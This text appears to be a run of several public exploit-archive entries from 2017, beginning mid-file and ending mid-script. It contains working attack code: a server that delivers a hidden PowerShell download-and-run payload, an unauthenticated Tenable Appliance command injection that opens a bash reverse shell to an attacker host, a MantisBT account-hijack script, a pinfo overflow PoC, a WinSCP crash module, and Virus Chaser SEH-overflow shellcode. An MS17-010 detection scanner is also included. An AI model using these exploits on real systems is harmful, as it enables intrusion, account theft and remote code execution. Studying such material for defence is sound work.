                data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 315\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/doc\r\n\r\n"
                conn.send(data)
                conn.close()
                sys.exit(1)
    except socket.error, ex:
        print ex


def exploitation_ppsx():
 
    print "Server Running on ",host,":",port

    try:
        # create a socket
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        # associate the socket to host and port
        s.bind((host, port))

        # listenning
        s.listen(BACKLOG)
    
    except socket.error, (value, message):
        if s:
            s.close()
        print "Could not open socket:", message
        sys.exit(1)

    # get the connection from client
    while 1:
        conn, client_addr = s.accept()

        # create a thread to handle request
        thread.start_new_thread(server_thread, (conn, client_addr))
        
    s.close()

def server_thread(conn, client_addr):

    # get the request from browser
    try:
        request = conn.recv(MAX_DATA_RECV)
        if (len(request) > 0):
            # parse the first line
            first_line = request.split('\n')[0]
            
            # get method
            method = first_line.split(' ')[0]
            # get url
            try:
                url = first_line.split(' ')[1]
            except IndexError:
                print "Invalid request from "+client_addr[0]
                conn.close()
                sys.exit(1)
 		# check if custom SCT flag is set
	    if (len(custom)>1):
                print "Received request for custom SCT from "+client_addr[0]
                try:
                    size = os.path.getsize(custom)
                except OSError:
                    print "Unable to read custom SCT file - "+custom
                    conn.close()
                    sys.exit(1)
                data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 18:56:41 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 16:56:22 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: "+str(size)+"\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: text/scriptlet\r\n\r\n"
                with open(custom) as fin:
                    data +=fin.read()
                    conn.send(data)
                    conn.close()
                    sys.exit(1)
		conn.close()
		sys.exit(1)
            check_exe_request = url.find('.exe')
            if (check_exe_request > 0):
                print "Received request for payload from "+client_addr[0]
                try:
                    size = os.path.getsize(payloadlocation)
                except OSError:
                    print "Unable to read"+payloadlocation
                    conn.close()
                    sys.exit(1)
                data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 18:56:41 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 16:56:22 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: "+str(size)+"\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/x-msdos-program\r\n\r\n"
                with open(payloadlocation) as fin:
                    data +=fin.read()
                    conn.send(data)
                    conn.close()
                    sys.exit(1)
            if method in ['GET', 'get']:
                print "Received GET method from "+client_addr[0]
                data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 1000\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: text/scriptlet\r\n\r\n<?XML version=\"1.0\"?>\r\n<package>\r\n<component id='giffile'>\r\n<registration\r\n  description='Dummy'\r\n  progid='giffile'\r\n  version='1.00'\r\n  remotable='True'>\r\n</registration>\r\n<script language='JScript'>\r\n<![CDATA[\r\n  new ActiveXObject('WScript.shell').exec('%SystemRoot%/system32/WindowsPowerShell/v1.0/powershell.exe -windowstyle hidden (new-object System.Net.WebClient).DownloadFile(\\'"+payloadurl+"\\', \\'c:/windows/temp/shell.exe\\'); c:/windows/temp/shell.exe');\r\n]]>\r\n</script>\r\n</component>\r\n</package>\r\n"
                conn.send(data)
                conn.close()
                sys.exit(1)
    except socket.error, ex:
        print ex


if __name__ == '__main__':
    main(sys.argv[1:])
            
# Title: pinfo v0.6.9 - Local Buffer Overflow
# Author: Nassim Asrir
# Researcher at: Henceforth
# Author contact: wassline@gmail.com || https://www.linkedin.com/in/nassim-asrir-b73a57122/
# CVE: N/A

# Download #

$ apt-get install pinfo

# POC #

For any Question or discussion about this vuln: https://www.facebook.com/asrirnassim/ 

$ pinfo -m `python -c 'print "A"*600'`
Przemek's Info Viewer v0.6.9
Looking for man page...

Caught signal 11, bye!
Segmentation fault


# GDB Output #

$ gdb pinfo

(gdb) r -m `python -c 'print "A"*600'`

Program received signal SIGSEGV, Segmentation fault.
__GI_getenv (name=0x7ffff79831aa "RM") at getenv.c:84
84	getenv.c: No such file or directory.

(gdb) info registers 
rax            0x54	84
rbx            0x4141414141414141	4702111234474983745   <==== 
rcx            0x1a8	424
rdx            0x10	16
rsi            0x7fffffffdaae	140737488345774
rdi            0x7ffff79831a8	140737347334568
rbp            0x7fffffffe0a8	0x7fffffffe0a8
rsp            0x7fffffffda90	0x7fffffffda90   
r8             0x0	0
r9             0x20	32
r10            0x1ec	492
r11            0x7ffff796c630	140737347241520
r12            0x4554	17748
r13            0x4	4
r14            0x2	2
r15            0x7ffff79831aa	140737347334570
rip            0x7ffff73c911d	0x7ffff73c911d <__GI_getenv+173>
eflags         0x10206	[ PF IF RF ]
cs             0x33	51
ss             0x2b	43
ds             0x0	0
es             0x0	0
fs             0x0	0
gs             0x0	0

(gdb) where
#0  __GI_getenv (name=0x7ffff79831aa "RM") at getenv.c:84
#1  0x00007ffff796c661 in initscr () from /lib/x86_64-linux-gnu/libncursesw.so.5
#2  0x000055555556214a in ?? ()
#3  0x000055555555f165 in ?? ()
#4  0x0000555555557552 in ?? ()
#5  0x4141414141414141 in ?? ()
#6  0x4141414141414141 in ?? ()
#7  0x4141414141414141 in ?? ()
#8  0x4141414141414141 in ?? ()
#9  0x4141414141414141 in ?? ()
#10 0x4141414141414141 in ?? ()
#11 0x4141414141414141 in ?? ()
#12 0x4141414141414141 in ?? ()
#13 0x4141414141414141 in ?? ()
#14 0x4141414141414141 in ?? ()
#15 0x4141414141414141 in ?? ()
#16 0x4141414141414141 in ?? ()
#17 0x4141414141414141 in ?? ()
#18 0x4141414141414141 in ?? ()
#19 0x4141414141414141 in ?? ()
#20 0x4141414141414141 in ?? ()
#21 0x4141414141414141 in ?? ()
#22 0x4141414141414141 in ?? ()
#23 0x4141414141414141 in ?? ()
#24 0x4141414141414141 in ?? ()
#25 0x4141414141414141 in ?? ()
#26 0x4141414141414141 in ?? ()
#27 0x4141414141414141 in ?? ()
#28 0x4141414141414141 in ?? ()
#29 0x4141414141414141 in ?? ()
#30 0x4141414141414141 in ?? ()
#31 0x4141414141414141 in ?? ()
#32 0x4141414141414141 in ?? ()
#33 0x4141414141414141 in ?? ()
#34 0x4141414141414141 in ?? ()
#35 0x4141414141414141 in ?? ()
#36 0x4141414141414141 in ?? ()
#37 0x4141414141414141 in ?? ()
#38 0x4141414141414141 in ?? ()
#39 0x4141414141414141 in ?? ()
#40 0x4141414141414141 in ?? ()
#41 0x00007fffffff0020 in ?? ()
#42 0x00007fffffffebaa in ?? ()
---Type <return> to continue, or q <return> to quit---
#43 0x00007fffffffebc2 in ?? ()
#44 0x00007fffffffebd6 in ?? ()
#45 0x00007fffffffebe1 in ?? ()
#46 0x00007fffffffec07 in ?? ()
#47 0x00007fffffffec18 in ?? ()
#48 0x00007fffffffec48 in ?? ()
#49 0x00007fffffffec52 in ?? ()
#50 0x00007fffffffec73 in ?? ()
#51 0x00007fffffffec7d in ?? ()
#52 0x00007fffffffec86 in ?? ()
#53 0x00007fffffffec91 in ?? ()
#54 0x00007fffffffeca4 in ?? ()
#55 0x00007fffffffecb7 in ?? ()
#56 0x00007fffffffeccc in ?? ()
#57 0x00007fffffffed08 in ?? ()
#58 0x00007fffffffed33 in ?? ()
#59 0x00007fffffffed58 in ?? ()
#60 0x00007fffffffed63 in ?? ()
#61 0x00007fffffffed74 in ?? ()
#62 0x00007fffffffed84 in ?? ()
#63 0x00007fffffffed8f in ?? ()
#64 0x00007fffffffedc3 in ?? ()
#65 0x00007fffffffeddc in ?? ()
#66 0x00007fffffffee0d in ?? ()
#67 0x00007fffffffee30 in ?? ()
#68 0x00007fffffffee3f in ?? ()
#69 0x00007fffffffee47 in ?? ()
#70 0x00007fffffffee59 in ?? ()
#71 0x00007fffffffee75 in ?? ()
#72 0x00007fffffffee82 in ?? ()
#73 0x00007fffffffeeb5 in ?? ()
#74 0x00007fffffffeed1 in ?? ()
#75 0x00007fffffffeeee in ?? ()
#76 0x00007fffffffef28 in ?? ()
#77 0x00007fffffffef97 in ?? ()
#78 0x0000000000000000 in ?? ()
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

# auxiliary/scanner/smb/smb_ms_17_010

require 'msf/core'

class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::Remote::SMB::Client
  include Msf::Exploit::Remote::SMB::Client::Authenticated

  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS17-010 SMB RCE Detection',
      'Description'    => %q{
        Uses information disclosure to determine if MS17-010 has been patched or not.
        Specifically, it connects to the IPC$ tree and attempts a transaction on FID 0.
        If the status returned is "STATUS_INSUFF_SERVER_RESOURCES", the machine does
        not have the MS17-010 patch.

        This module does not require valid SMB credentials in default server
        configurations. It can log on as the user "\" and connect to IPC$.
      },
      'Author'         => [ 'Sean Dillon <sean.dillon@risksense.com>' ],
      'References'     =>
        [
          [ 'CVE', '2017-0143'],
          [ 'CVE', '2017-0144'],
          [ 'CVE', '2017-0145'],
          [ 'CVE', '2017-0146'],
          [ 'CVE', '2017-0147'],
          [ 'CVE', '2017-0148'],
          [ 'MSB', 'MS17-010'],
          [ 'URL', 'https://technet.microsoft.com/en-us/library/security/ms17-010.aspx']
        ],
      'License'        => MSF_LICENSE
    ))
  end

  def run_host(ip)
    begin
      status = do_smb_probe(ip)

      if status == "STATUS_INSUFF_SERVER_RESOURCES"
        print_warning("Host is likely VULNERABLE to MS17-010!")
        report_vuln(
          host: ip,
          name: self.name,
          refs: self.references,
          info: 'STATUS_INSUFF_SERVER_RESOURCES for FID 0 against IPC$'
        )
      elsif status == "STATUS_ACCESS_DENIED" or status == "STATUS_INVALID_HANDLE"
        # STATUS_ACCESS_DENIED (Windows 10) and STATUS_INVALID_HANDLE (others)
        print_good("Host does NOT appear vulnerable.")
      else
        print_bad("Unable to properly detect if host is vulnerable.")
      end

    rescue ::Interrupt
      print_status("Exiting on interrupt.")
      raise $!
    rescue ::Rex::Proto::SMB::Exceptions::LoginError
      print_error("An SMB Login Error occurred while connecting to the IPC$ tree.")
    rescue ::Exception => e
      vprint_error("#{e.class}: #{e.message}")
    ensure
      disconnect
    end
  end

  def do_smb_probe(ip)
    connect

    # logon as user \
    simple.login(datastore['SMBName'], datastore['SMBUser'], datastore['SMBPass'], datastore['SMBDomain'])

    # connect to IPC$
    ipc_share = "\\\\#{ip}\\IPC$"
    simple.connect(ipc_share)
    tree_id = simple.shares[ipc_share]

    print_status("Connected to #{ipc_share} with TID = #{tree_id}")

    # request transaction with fid = 0
    pkt = make_smb_trans_ms17_010(tree_id)
    sock.put(pkt)
    bytes = sock.get_once

    # convert packet to response struct
    pkt = Rex::Proto::SMB::Constants::SMB_TRANS_RES_HDR_PKT.make_struct
    pkt.from_s(bytes[4..-1])

    # convert error code to string
    code = pkt['SMB'].v['ErrorClass']
    smberr = Rex::Proto::SMB::Exceptions::ErrorCode.new
    status = smberr.get_error(code)

    print_status("Received #{status} with FID = 0")
    status
  end

  def make_smb_trans_ms17_010(tree_id)
    # make a raw transaction packet
    pkt = Rex::Proto::SMB::Constants::SMB_TRANS_PKT.make_struct
    simple.client.smb_defaults(pkt['Payload']['SMB'])

    # opcode 0x23 = PeekNamedPipe, fid = 0
    setup = "\x23\x00\x00\x00"
    setup_count = 2             # 2 words
    trans = "\\PIPE\\\x00"

    # calculate offsets to the SetupData payload
    base_offset = pkt.to_s.length + (setup.length) - 4
    param_offset = base_offset + trans.length
    data_offset = param_offset # + 0

    # packet baselines
    pkt['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_TRANSACTION
    pkt['Payload']['SMB'].v['Flags1'] = 0x18
    pkt['Payload']['SMB'].v['Flags2'] = 0x2801 # 0xc803 would unicode
    pkt['Payload']['SMB'].v['TreeID'] = tree_id
    pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count
    pkt['Payload'].v['ParamCountMax'] = 0xffff
    pkt['Payload'].v['DataCountMax'] = 0xffff
    pkt['Payload'].v['ParamOffset'] = param_offset
    pkt['Payload'].v['DataOffset'] = data_offset

    # actual magic: PeekNamedPipe FID=0, \PIPE\
    pkt['Payload'].v['SetupCount'] = setup_count
    pkt['Payload'].v['SetupData'] = setup
    pkt['Payload'].v['Payload'] = trans

    pkt.to_s
  end
end
            
#!/bin/bash
: '
According to http://static.tenable.com/prod_docs/upgrade_appliance.html they
fixed two security vulnerabilities in the web interface in release 4.5 so I
guess previous version are also vulnerable.

# Exploit Title: Unauthenticated remote root code execution on Tenable Appliance
# Date: 18/04/17
# Exploit Author: agix
# Vendor Homepage: https://www.tenable.com/
# Version: < 4.5
# Tested on: Tenable Appliance 3.5

tenable $ ./rce.sh
bash: no job control in this shell
bash-3.2# ls
app
appliancelicense.html
appliancelicense.pdf
appliancelicense.txt
images
includes
index.ara
js
lcelicense.html
lcelicense.pdf
lcelicense.txt
migrate
nessuslicense.html
nessuslicense.pdf
nessuslicense.txt
password.ara
pvslicense.html
pvslicense.pdf
pvslicense.txt
sclicense.html
sclicense.pdf
sclicense.txt
simpleupload.py
static
bash-3.2# id
uid=0(root) gid=0(root)
bash-3.2#
'

#!/bin/bash

TENABLE_IP="172.16.171.179"
YOUR_IP="172.16.171.1"
LISTEN_PORT=31337


curl -k "https://$TENABLE_IP:8000/simpleupload.py" --data $'returnpage=/&action=a&tns_appliance_session_token=61:62&tns_appliance_session_user=a"\'%0abash -i >%26 /dev/tcp/'$YOUR_IP'/'$LISTEN_PORT' 0>%261%0aecho '&
nc -l -p $LISTEN_PORT
            
[+] Credits: John Page a.k.a hyp3rlinx	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt
[+] ISR: ApparitionSec            
 


Vendor:
================
www.mantisbt.org



Product:
==================
Mantis Bug Tracker
v1.3.0 / 2.3.0

MantisBT is a popular free web-based bug tracking system. It is written in PHP works with MySQL, MS SQL, and PostgreSQL databases.


Vulnerability Type:
===============================
Pre-Auth Remote Password Reset



CVE Reference:
==============
CVE-2017-7615



Security Issue:
================
Mantis account verification page 'verify.php' allows resetting ANY user's password.
Remote un-authenticated attackers can send HTTP GET requests to Hijack ANY Mantis accounts by guessing the ID / username.

Vulnerable code:

In verify.php line 66:

if( $f_confirm_hash != $t_token_confirm_hash ) {
	
trigger_error( ERROR_LOST_PASSWORD_CONFIRM_HASH_INVALID, ERROR );

}

This code attempts to verify a user account and compares hashes for a user request.
However, by supplying empty value we easily bypass the security check.

e.g.

http://127.0.0.1/mantisbt-2.3.0/verify.php?id=1&confirm_hash=

This will then allow you to change passwords and hijack ANY mantisbt accounts.

All version >= 1.3.0 as well as 2.3.0 are affected, 1.2.x versions are not affected.


References:
============
https://mantisbt.org/bugs/view.php?id=22690#c56509



POC Video URL:
==============
https://vimeo.com/213144905



Exploit/POC:
=============
import cookielib,urllib,urllib2,time

print 'Mantis Bug Tracker >= v1.3.0 - 2.3.0'
print '1.2.x versions are not affected'
print 'Remote Password Reset 0day Exploit'
print 'Credits: John Page a.k.a HYP3RLINX / APPARITIONSEC\n'

IP=raw_input("[Mantis Victim IP]>")
realname=raw_input("[Username]")
verify_user_id=raw_input("[User ID]")
passwd=raw_input("[New Password]")

TARGET = 'http://'+IP+'/mantisbt-2.3.0/verify.php?id='+verify_user_id+'&confirm_hash='

values={}
account_update_token=''
#verify_user_id='1'          #Admin  = 1
#realname='administrator'    #Must be known or guessed.


#REQUEST 1, get Mantis account_update_token 
cookies = cookielib.CookieJar()

opener = urllib2.build_opener(
    urllib2.HTTPRedirectHandler(),
    urllib2.HTTPHandler(debuglevel=0),
    urllib2.HTTPSHandler(debuglevel=0),
    urllib2.HTTPCookieProcessor(cookies))

res = opener.open(TARGET)

arr=res.readlines()
for s in arr:
        if 'account_update_token' in s:
                break


#print s[61:-38]
ACCT_TOKEN=s[61:-38]

time.sleep(0.3)

#REQUEST 2 Hijack the Admin Account
TARGET='http://'+IP+'/mantisbt-2.3.0/account_update.php'
values = {'verify_user_id' : '1',
        'account_update_token' : ACCT_TOKEN,
        'realname' : realname,
        'password' : passwd,
        'password_confirm' : passwd}
  
data = urllib.urlencode(values)

opener = urllib2.build_opener(
urllib2.HTTPRedirectHandler(),
urllib2.HTTPHandler(debuglevel=0),
urllib2.HTTPSHandler(debuglevel=0),
urllib2.HTTPCookieProcessor(cookies))

response = opener.open(TARGET, data)
the_page = response.read()
http_headers = response.info()

#print http_headers
print response.getcode()
print 'Account Hijacked!'
time.sleep(2)




Network Access:
===============
Remote




Severity:
=========
Critical



Disclosure Timeline:
=============================
Vendor Notification: April 7, 2017
Vendor acknowledged: April 7, 2017
Vendor patch created: April 10, 2017
Vendor Disclosure: April 16, 2017
April 16, 2017  : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
            
##
# Exploit Title: WinSCP 5.9.4 - (LIST) Command Denial of service (Crush application)
 
# Date: [4-4-2017] mm.dd.yy
# Exploit Author: [M.Ibrahim]  vulnbug@gmail.com
# E-Mail:  vulnbug  <at>  gmail.com
# Vendor Home Page: https://winscp.net/eng/index.php
# Vendor download link: https://winscp.net/download/WinSCP-5.9.4-Setup.exe
# Version: [WinSCP 5.9.4] 
# Tested on: windows 7 x86
##
#put the file winSCP 5.9.4.rb in metasploit framework folder name exploit then write this command to refresh all module in metasploit ==> reload_all
#then run -j 
#now fake ftp server is ready 
#try to connect to this fake ftp server with winscp client and it will crush
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

  include Exploit::Remote::TcpServer

  def initialize()
    super(
      'Name'           => 'WinSCP CRUSHER',
      'Description'    => %q{
        This module will Crush WinSCP FTP client 
      },
      'Author'         => [ 'M.Ibrahim <vulnbug[at]gmail.com>' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'http://www.google.com' ],
        ]
      )
    register_options(
      [
      OptPort.new('SRVPORT', [ true, "The local port to listen on.", 21 ]),
      OptString.new('FUZZCMDS', [ true, "The FTP client server Command to crush.", "LIST", nil, /(?:[A-Z]+,?)+/ ]),
      OptInt.new('STARTSIZE', [ true, "Crush string startsize.",2000]),
      OptInt.new('ENDSIZE', [ true, "Max Fuzzing string size.",200000]),
      OptInt.new('STEPSIZE', [ true, "Increment fuzzing string each attempt.",1000]),
      OptBool.new('RESET', [ true, "Reset fuzzing values after client disconnects with QUIT cmd.",true]),
      OptString.new('WELCOME', [ true, "Fake FTP Server welcome message.","FTP WinSCP server CRusher"]),
      OptBool.new('CYCLIC', [ true, "Use Cyclic pattern instead of A's .",false]),
      OptBool.new('ERROR', [ true, "Reply with error codes only",false]),
      OptBool.new('EXTRALINE', [ true, "Add extra CRLF's in response to LIST",true])
      ], self.class)
  end

  

  def support_ipv6?
    false
  end

  def setup
    super
    @state = {}
  end

  def run
    @fuzzsize=datastore['STARTSIZE'].to_i
    exploit()
  end

  
  def on_client_connect(c)
    @state[c] = {
      :name => "#{c.peerhost}:#{c.peerport}",
      :ip   => c.peerhost,
      :port => c.peerport,
      :user => nil,
      :pass => nil
    }
    
    print_status("Client connected : " + c.peerhost)
    active_data_port_for_client(c, 20)
    send_response(c,"","WELCOME",220," "+datastore['WELCOME'])
    
  end

  def on_client_close(c)
    @state.delete(c)
  end

  
  def passive_data_port_for_client(c)
    @state[c][:mode] = :passive
    if(not @state[c][:passive_sock])
      s = Rex::Socket::TcpServer.create(
        'LocalHost' => '0.0.0.0',
        'LocalPort' => 0,
        'Context'   => { 'Msf' => framework, 'MsfExploit' => self }
      )
      dport = s.getsockname[2]
      @state[c][:passive_sock] = s
      @state[c][:passive_port] = dport
      
    end
    @state[c][:passive_port]
  end


  def active_data_port_for_client(c,port)
    @state[c][:mode] = :active
    connector = Proc.new {
      host = c.peerhost.dup
      sock = Rex::Socket::Tcp.create(
        'PeerHost' => host,
        'PeerPort' => port,
        'Context'   => { 'Msf' => framework, 'MsfExploit' => self }
      )
    }
    @state[c][:active_connector] = connector
    @state[c][:active_port]      = port
   
  end


  def establish_data_connection(c)
    
    begin
    Timeout.timeout(20) do
      if(@state[c][:mode] == :active)
        return @state[c][:active_connector].call()
      end
      if(@state[c][:mode] == :passive)
        return @state[c][:passive_sock].accept
      end
    end
    
    rescue ::Exception => e
      print_error("Failed to establish data connection: #{e.class} #{e}")
    end
    nil
  end

  
  def on_client_data(c)

    data = c.get_once
    return if not data

    cmd,arg = data.strip.split(/\s+/, 2)
    arg ||= ""

    return if not cmd

    case cmd.upcase.strip

    when 'USER'
      @state[c][:user] = arg
      send_response(c,arg,"USER",331," User name okay, need password")
      return

    when 'PASS'
      @state[c][:pass] = arg
      send_response(c,arg,"PASS",230,"-Password accepted.\r\n230 User logged in.")
      return

    when 'QUIT'
      if (datastore['RESET'])
        print_status("Resetting fuzz settings")
        @fuzzsize = datastore['STARTSIZE']
        @stepsize = datastore['STEPSIZE']
      end
      print_status("** Client disconnected **")
      send_response(c,arg,"QUIT",221," User logged out")
      return

    when 'SYST'
      send_response(c,arg,"SYST",215," UNIX Type: L8")
      return

    when 'TYPE'
      send_response(c,arg,"TYPE",200," Type set to #{arg}")
      return

    when 'CWD'
      send_response(c,arg,"CWD",250," CWD Command successful")
      return

    when 'PWD'
      send_response(c,arg,"PWD",257," \"/\" is current directory.")
      return

    when 'REST'
      send_response(c,arg,"REST",200," OK")
      return

    when 'XPWD'
      send_response(c,arg,"PWD",257," \"/\" is current directory")
      return

    when 'SIZE'
      send_response(c,arg,"SIZE",213," 1")
      return

    when 'MDTM'
      send_response(c,arg,"MDTM",213," #{Time.now.strftime("%Y%m%d%H%M%S")}")
      return

    when 'CDUP'
      send_response(c,arg,"CDUP",257," \"/\" is current directory")
      return

    when 'PORT'
      port = arg.split(',')[4,2]
      if(not port and port.length == 2)
        c.put("500 Illegal PORT command.\r\n")
        return
      end
      port = port.map{|x| x.to_i}.pack('C*').unpack('n')[0]
      active_data_port_for_client(c, port)
      send_response(c,arg,"PORT",200," PORT command successful")
      return

    when 'PASV'

      daddr = Rex::Socket.source_address(c.peerhost)
      dport = passive_data_port_for_client(c)
      @state[c][:daddr] = daddr
      @state[c][:dport] = dport
      pasv  = (daddr.split('.') + [dport].pack('n').unpack('CC')).join(',')
      dofuzz = fuzz_this_cmd("PASV")
      code = 227
      if datastore['ERROR']
        code = 557
      end
      if (dofuzz==1)

        send_response(c,arg,"PASV",code," Entering Passive Mode (#{@fuzzdata},1,1,1,1,1)\r\n")
        incr_fuzzsize()
      else
        send_response(c,arg,"PASV",code," Entering Passive Mode (#{pasv})")
      end
      return

    when /^(LIST|NLST|LS)$/


      conn = establish_data_connection(c)
      if(not conn)
        c.put("425 Can't build data connection\r\n")
        return
      end

      code = 150
      if datastore['ERROR']
        code = 550
      end
      c.put("#{code} Here comes the directory listing.\r\n")
      code = 226
      if datastore['ERROR']
        code = 550
      end
      c.put("#{code} Directory send ok.\r\n")
      strfile = "passwords.txt"
      strfolder = "Secret files"
      dofuzz = fuzz_this_cmd("LIST")
      if (dofuzz==1)
        strfile = @fuzzdata + ".txt"
        strfolder = @fuzzdata
        paylen = @fuzzdata.length

        incr_fuzzsize()
      end

      dirlist = ""
      if datastore['EXTRALINE']
        extra = "\r\n"
      else
        extra = ""
      end
      dirlist = "drwxrwxrwx    1 100      0           11111 Jun 11 21:10 #{strfolder}\r\n" + extra
      dirlist << "-rw-rw-r--    1 1176     1176         1060 Aug 16 22:22 #{strfile}\r\n" + extra
      conn.put("total 2\r\n"+dirlist)
      conn.close
      return

    when 'RETR'


      conn = establish_data_connection(c)
      if(not conn)
        c.put("425 Can't build data connection\r\n")
        return
      end
      print_status(" - Data connection set up")
      strcontent = "blahblahblah"
      dofuzz = fuzz_this_cmd("LIST")
      if (dofuzz==1)
        strcontent = @fuzzdata
        paylen = @fuzzdata.length

        incr_fuzzsize()
      end
      c.put("150 Opening BINARY mode data connection #{strcontent}\r\n")
      print_status(" - Sending data via data connection")
      conn.put(strcontent)
      c.put("226 Transfer complete\r\n")
      conn.close
      return

    when /^(STOR|MKD|REM|DEL|RMD)$/
      send_response(c,arg,cmd.upcase,500," Access denied")
      return

    when 'FEAT'
      send_response(c,arg,"FEAT","","211-Features:\r\n211 End")
      return

    when 'HELP'
      send_response(c,arg,"HELP",214," Syntax: #{arg} - (#{arg}-specific commands)")

    when 'SITE'
      send_response(c,arg,"SITE",200," OK")
      return

    when 'NOOP'
      send_response(c,arg,"NOOP",200," OK")
      return

    when 'ABOR'
      send_response(c,arg,"ABOR",225," Abor command successful")
      return

    when 'ACCT'
      send_response(c,arg,"ACCT",200," OK")
      return

    when 'RNFR'
      send_response(c,arg,"RNRF",350," File exists")
      return

    when 'RNTO'
      send_response(c,arg,"RNTO",350," File exists")
      return
    else
      send_response(c,arg,cmd.upcase,200," Command not understood")
      return
    end
    return
  end




  def fuzz_this_cmd(cmd)
    @fuzzcommands = datastore['FUZZCMDS'].split(",")
    fuzzme = 0
    @fuzzcommands.each do |thiscmd|
      if ((cmd.upcase == thiscmd.upcase) || (thiscmd=="*")) && (fuzzme==0)
        fuzzme = 1
      end
    end
    if fuzzme==1

      if datastore['CYCLIC']
        @fuzzdata = Rex::Text.pattern_create(@fuzzsize)
      else
        @fuzzdata = "A" * @fuzzsize
      end
    end
    return fuzzme
  end

  def incr_fuzzsize
    @stepsize = datastore['STEPSIZE'].to_i
    @fuzzsize = @fuzzsize + @stepsize

    if (@fuzzsize > datastore['ENDSIZE'].to_i)
      @fuzzsize = datastore['ENDSIZE'].to_i
    end
  end



  def send_response(c,arg,cmd,code,msg)
    if arg.length > 40
      showarg = arg[0,40] + "..."
    else
      showarg = arg
    end
    if cmd.length > 40
      showcmd = cmd[0,40] + "..."
    else
      showcmd = cmd
    end

    dofuzz = fuzz_this_cmd(cmd)

    if (dofuzz==1) && (cmd.upcase != "PASV")
      paylen = @fuzzdata.length

      if datastore['ERROR']
        code = "550 "
      end
      if cmd=="FEAT"
        @fuzzdata = "211-Features:\r\n "+@fuzzdata+"\r\n211 End"
      end
      if cmd=="PWD"
        @fuzzdata = "  \"/"+@fuzzdata+"\" is current directory"
      end
      cmsg = code.to_s + " " + @fuzzdata
      c.put("#{cmsg}\r\n")
      print_status("* Fuzz data sent")
      incr_fuzzsize()
    else
     
      cmsg = code.to_s + msg
      cmsg = cmsg.strip
      c.put("#{cmsg}\r\n")
    end
    return
  end
end
            
# Exploit Title: Virus Chaser 8.0 - Scanner component, SEH Overflow
# Date: 14 April 2017
# Exploit Author: 0x41Li (0x41Li.D@gmail.com)
# Vendor Homepage: https://www.viruschaser.com/
# Software Link: https://www.viruschaser.com/download/VC80b_32Setup.zip
# Tested on: Windows 7 (Universal)

import os
from struct import pack

## msfvenom -a x86 --platform Windows -p windows/exec cmd=calc -b '\x00\x0d\x0a\x09\x22' -f c   # x86/shikata_ga_nai succeeded with size 216  ## BADCHARS = \x00\x0d\x0a\x09 AVOIDED = \x22 = " (Cut the buffer)
shellcode= ("\xbe\x7a\x1f\x2d\x97\xda\xd5\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
			"\x30\x83\xc2\x04\x31\x72\x0f\x03\x72\x75\xfd\xd8\x6b\x61\x83"
			"\x23\x94\x71\xe4\xaa\x71\x40\x24\xc8\xf2\xf2\x94\x9a\x57\xfe"
			"\x5f\xce\x43\x75\x2d\xc7\x64\x3e\x98\x31\x4a\xbf\xb1\x02\xcd"
			"\x43\xc8\x56\x2d\x7a\x03\xab\x2c\xbb\x7e\x46\x7c\x14\xf4\xf5"
			"\x91\x11\x40\xc6\x1a\x69\x44\x4e\xfe\x39\x67\x7f\x51\x32\x3e"
			"\x5f\x53\x97\x4a\xd6\x4b\xf4\x77\xa0\xe0\xce\x0c\x33\x21\x1f"
			"\xec\x98\x0c\x90\x1f\xe0\x49\x16\xc0\x97\xa3\x65\x7d\xa0\x77"
			"\x14\x59\x25\x6c\xbe\x2a\x9d\x48\x3f\xfe\x78\x1a\x33\x4b\x0e"
			"\x44\x57\x4a\xc3\xfe\x63\xc7\xe2\xd0\xe2\x93\xc0\xf4\xaf\x40"
			"\x68\xac\x15\x26\x95\xae\xf6\x97\x33\xa4\x1a\xc3\x49\xe7\x70"
			"\x12\xdf\x9d\x36\x14\xdf\x9d\x66\x7d\xee\x16\xe9\xfa\xef\xfc"
			"\x4e\xf4\xa5\x5d\xe6\x9d\x63\x34\xbb\xc3\x93\xe2\xff\xfd\x17"
			"\x07\x7f\xfa\x08\x62\x7a\x46\x8f\x9e\xf6\xd7\x7a\xa1\xa5\xd8"
			"\xae\xc2\x28\x4b\x32\x05")

junk = "A"*688
